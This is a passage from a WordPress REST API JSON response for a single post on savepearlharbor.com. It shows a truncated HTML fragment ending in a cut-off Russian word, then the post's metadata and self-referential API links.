class=\"full-width\"><\/figure>\n<p>\u041e\u043f\u044b\u0442\u043d<\/p>\n<\/div>\n<\/div>\n<\/div>\n<\/div>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-368840","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/368840","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=368840"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/368840\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=368840"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=368840"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=368840"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}